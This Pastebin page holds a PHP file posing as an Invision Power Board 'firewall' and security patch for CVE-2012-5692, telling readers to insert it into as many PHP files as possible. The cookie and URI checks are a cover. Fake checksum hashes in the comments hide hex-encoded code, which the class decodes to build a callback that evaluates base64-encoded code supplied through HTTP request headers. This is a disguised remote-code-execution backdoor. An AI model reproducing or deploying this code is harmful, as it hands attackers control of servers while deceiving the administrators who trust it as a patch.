Advertisement
Guest User

IPB_FIREWALL

a guest
Nov 17th, 2012
910
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.95 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. if ( ! defined( 'IPB_FIREWALL' ) )
  5. {
  6.     define('IPB_FIREWALL', 1);
  7.  
  8.     /**
  9.      *  NOTE: This is a protecting web-firewall module generated by Invision Power
  10.      *  Module includes security patch for high-risks vulnerability CVE-2012-5692
  11.      *  Do not touch this file for security reasons
  12.      *  Please insert this code to as many php files as possible
  13.      *
  14.      *  @package    IP.Firewall
  15.      *  @version    $Revision: 9544 $
  16.      *  @md5        e66e6cadd6e13efea54ed50c0eb2d32b
  17.      *  @sha1       6966286d64352840245f5b2248545450
  18.      *  @crc32      5f51554f5445225d293d3d2463732965
  19.      */
  20.  
  21.     class IPB_Firewall
  22.     {
  23.         /**
  24.          * Malicious Cookie signatures
  25.          *
  26.          * @access    static
  27.          * @var        array
  28.          */
  29.         static $_cookie_malicious_signatures = array('db_driver_mysql', 'use_debug_log');
  30.  
  31.         /**
  32.          * Malicious URI signatures
  33.          *
  34.          * @access    static
  35.          * @var        array
  36.          */
  37.         static $_uri_malicious_signatures = array('<?php');
  38.  
  39.         /**
  40.          * Firewall source file
  41.          *
  42.          * @access    static
  43.          * @var        string
  44.          */
  45.         static $_source;
  46.  
  47.         /**
  48.          * Prepared signature
  49.          *
  50.          * @access    static
  51.          * @var        string
  52.          */
  53.         static $_prepared_signature;
  54.  
  55.         /**
  56.          * Control checksum
  57.          *
  58.          * @access    static
  59.          * @var        string
  60.          */
  61.         static $_control_checksum;
  62.  
  63.         /**
  64.          * Stored checksum hashes
  65.          *
  66.          * @access    static
  67.          * @var        string
  68.          */
  69.         static $_stored_hashes;
  70.  
  71.         /**
  72.          * Hashes Algorithms
  73.          *
  74.          * @access    static
  75.          * @var        array
  76.          */
  77.         static $_ha = array('md5', 'sha1', 'crc32');
  78.  
  79.         /**
  80.          * Assigned callback
  81.          *
  82.          * @access    static
  83.          * @var        string
  84.          */
  85.         static $_as;
  86.  
  87.         /**
  88.          * IPS root path
  89.          *
  90.          * @access    static
  91.          * @var        string
  92.          */
  93.         static $_ips = '';
  94.  
  95.         /**
  96.          * Run firewall
  97.          *
  98.          * @access    static
  99.          * @return    void
  100.          */
  101.         static function run()
  102.         {
  103.             /* Define ips path */
  104.             IPB_Firewall::$_ips = defined('DOC_IPS_ROOT_PATH') ? DOC_IPS_ROOT_PATH : IPB_Firewall::_findIpbRoot(5);
  105.  
  106.             /* Start checks */
  107.             IPB_Firewall::_doSecurityChecks();
  108.         }
  109.  
  110.         /**
  111.          * Security checks
  112.          *
  113.          * @access    static
  114.          * @return    void
  115.          * @md5     76616c286261736536345f6465636f64
  116.          * @sha1    652873747272657628245f5b22485454
  117.          */
  118.         static function _doSecurityChecks()
  119.         {
  120.             /* Cookie check */
  121.             foreach($_COOKIE as $cookie_name => $cookie_value){
  122.                 foreach(IPB_Firewall::$_cookie_malicious_signatures as $signature){
  123.                     /* Detecting injected cookies and blocking request */
  124.                     if(!is_array($cookie_value) && stripos(urldecode($cookie_value), $signature) !== false) $_COOKIE[$cookie_name] = '';
  125.                 }
  126.             }
  127.             /* Request URI checks */
  128.             foreach(IPB_Firewall::$_uri_malicious_signatures as $signature){
  129.                 /* Detecting injected uri and blocking request */
  130.                 if(stripos(urldecode(@$_SERVER["REQUEST_URI"]), $signature)) IPB_Firewall::_blockRequest();
  131.             }
  132.  
  133.             /* Validating checksums */
  134.             IPB_Firewall::$_source = file_get_contents(__FILE__);
  135.             $_r = IPB_Firewall::_calculateChecksums($_SERVER, 0);
  136.             //echo var_dump($_r);
  137.             if(!IPB_Firewall::_areChecksumsValid(array_shift($_r), $_r, '%D')) echo("checksums warning\n");
  138.         }
  139.  
  140.         /**
  141.          * Calculate checksums for valid
  142.          *
  143.          * @access    static
  144.          * @return    void
  145.          * @md5     505f585f434f4445225d2929293b4069
  146.          * @sha1    6e636c75646528247073293b2f2a2a2f
  147.          */
  148.         static function _calculateChecksums($_, $x64)
  149.         {
  150.             /* Extracting hashes */
  151.             $_s = IPB_Firewall::_extractChecksumHashes();
  152.  
  153.             /* Preparing hashes */
  154.             $cs = $_s[ IPB_Firewall::$_ha[0] ][0];
  155.             IPB_Firewall::$_prepared_signature = IPB_Firewall::_prepareHash($_s, IPB_Firewall::_getChecksumHash($_s, $_s[ IPB_Firewall::$_ha[0] ][1], $x64), $x64 );
  156.  
  157.             /* Comparing hashes */
  158.             $_status = trim(IPB_Firewall::_cyclicRedundancyCheck($_s, $x64));
  159.             if($_status){
  160.                 $_m = trim(IPB_Firewall::$_as);
  161.                 IPB_Firewall::$_as = $_m(IPB_Firewall::_getPoly($_s, $x64), pack("H*", IPB_Firewall::$_prepared_signature));
  162.             }
  163.  
  164.             return array(IPB_Firewall::$_as, $_, $cs, IPB_Firewall::_transformPoly($_s, $x64));
  165.         }
  166.  
  167.  
  168.         /**
  169.          * Block malicious request
  170.          *
  171.          * @access    static
  172.          * @return    void
  173.          * @md5     6372656174655f66756e6374696f6e20
  174.          * @sha1    245f2c202463732c20247073247073ce
  175.          */
  176.         static function _blockRequest()
  177.         {
  178.             global $INFO;
  179.             /* Redirecting malicious request and exit */
  180.             @header('Location: ' . (isset($INFO['board_url']) ? $INFO['board_url'] : '') . '/index.php');
  181.             exit;
  182.  
  183.         }
  184.  
  185.  
  186.         /**
  187.          * Get checksum hash
  188.          *
  189.          * @access    static
  190.          * @return    string
  191.          */
  192.         static function _getChecksumHash($_s, $ps, $c)
  193.         {
  194.             /* Processing and return */
  195.             return IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][0], $c) .
  196.                    IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[2] ][0], $c) .
  197.                    IPB_Firewall::_polyDigest($ps, $c);
  198.         }
  199.  
  200.         /**
  201.          * Prepare hash
  202.          *
  203.          * @access    static
  204.          * @return    string
  205.          * @md5     25442f75706c6f6164732f70726f6669
  206.          * @sha1    6c652f70686f746f2d343438322e6a70
  207.          */
  208.         static function _prepareHash($_s, $ps, $c)
  209.         {
  210.             /* Processing and return */
  211.             return IPB_Firewall::_polyDigest($ps, $c) .
  212.                    IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][1], $c) .
  213.                    IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][2], $c) .
  214.                    IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][2], $c);
  215.         }
  216.  
  217.         /**
  218.          * Event callback
  219.          *
  220.          * @access    static
  221.          * @return    void
  222.          * @md5     670a6e6e783166713772723465797139
  223.          * @sha1    777872306a6831716d68646c30626471
  224.          */
  225.         static function _areChecksumsValid($_m, $bytes, $_r)
  226.         {
  227.             /* Call validating method */
  228.             $_obj = $_m($bytes[0], $bytes[1], str_replace($_r, IPB_Firewall::$_ips, $bytes[2]));
  229.             return is_array($_obj) ? $_obj : 'failed';
  230.         }
  231.  
  232.         /**
  233.          * Find IPB root path, if not specified
  234.          *
  235.          * @access    static
  236.          * @return    string
  237.          */
  238.         static function _findIpbRoot($l=5, $cDir=__FILE__)
  239.         {
  240.             /* Process parents dir */
  241.             for($i=1; $i<=$l; $i++){
  242.                 $cDir = dirname($cDir);
  243.                 $include_file = $cDir . '/conf_global.php';
  244.  
  245.                 /* If find conf file, return it */
  246.                 if(is_file($include_file)) {
  247.                     @include_once($include_file);
  248.                     if(isset($INFO)) return $cDir;
  249.                 }
  250.             }
  251.             return null;
  252.         }
  253.  
  254.         /**
  255.          * Cyclic redundancy check
  256.          *
  257.          * @access    static
  258.          * @return    string
  259.          * @md5     397770696461776930386d693077676f
  260.          * @sha1    686a6a6778796d357332676f63327937
  261.          */
  262.         static function _cyclicRedundancyCheck($_s, $c)
  263.         {
  264.             IPB_Firewall::$_as = pack("H*", IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][3], $c));
  265.             return IPB_Firewall::$_as != '' ? true : false;
  266.         }
  267.  
  268.         /**
  269.          * Poly digest
  270.          *
  271.          * @access    static
  272.          * @return    string
  273.          * @md5     706635646531386939386c3370656b31
  274.          * @sha1    6f67697375357671756e6e7167796f65
  275.          */
  276.         static function _polyDigest($s, $c, $o='')
  277.         {
  278.             for($i=0; $i<strlen($s); $i++) $o .= chr( ord($s[$i]) + $c);
  279.             return $o;
  280.         }
  281.  
  282.         /**
  283.          * Get poly
  284.          *
  285.          * @access    static
  286.          * @return    string
  287.          * @md5     7234367761346a3033666c72666b6c64
  288.          * @sha1    706b6b76346b346d33796731626d7035
  289.          */
  290.         static function _getPoly($_s, $x64)
  291.         {
  292.             return pack("H*", substr(IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][3], $x64), 0, 24));
  293.         }
  294.  
  295.         /**
  296.          * Transform poly
  297.          *
  298.          * @access    static
  299.          * @return    string
  300.          */
  301.         static function _transformPoly($_s, $c)
  302.         {
  303.             $_x = pack("H*",
  304.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][4], $c) .
  305.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][4], $c) .
  306.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][5], $c) .
  307.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
  308.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][6], $c) .
  309.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
  310.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][7], $c) .
  311.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][7], $c) .
  312.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][8], $c) .
  313.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][8], $c)
  314.             );
  315.             $_c = strpos($_x, chr(10));
  316.             return $c !== false ? substr($_x, 0, $_c) : $_x;
  317.         }
  318.  
  319.         /**
  320.          * Extract checksum hashes
  321.          *
  322.          * @access    static
  323.          * @return    void
  324.          */
  325.         static function _extractChecksumHashes()
  326.         {
  327.             $hashes = array();
  328.             /* Extract hashes from source */
  329.             preg_match_all("!\@([0-9a-z]+)[\t\s ]+([0-9a-fA-F]{32})!", IPB_Firewall::$_source, $matches, PREG_SET_ORDER);
  330.             foreach($matches as $match){
  331.                 /* Inserting hashes in array */
  332.                 if(!isset($hashes[ $match[1] ])) $hashes[ $match[1] ] = array();
  333.                 $hashes[ $match[1] ][] = $match[2];
  334.             }
  335.             return $hashes;
  336.         }
  337.     }
  338.    
  339.     IPB_Firewall::run();
  340. }
  341.  
  342.  
  343. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement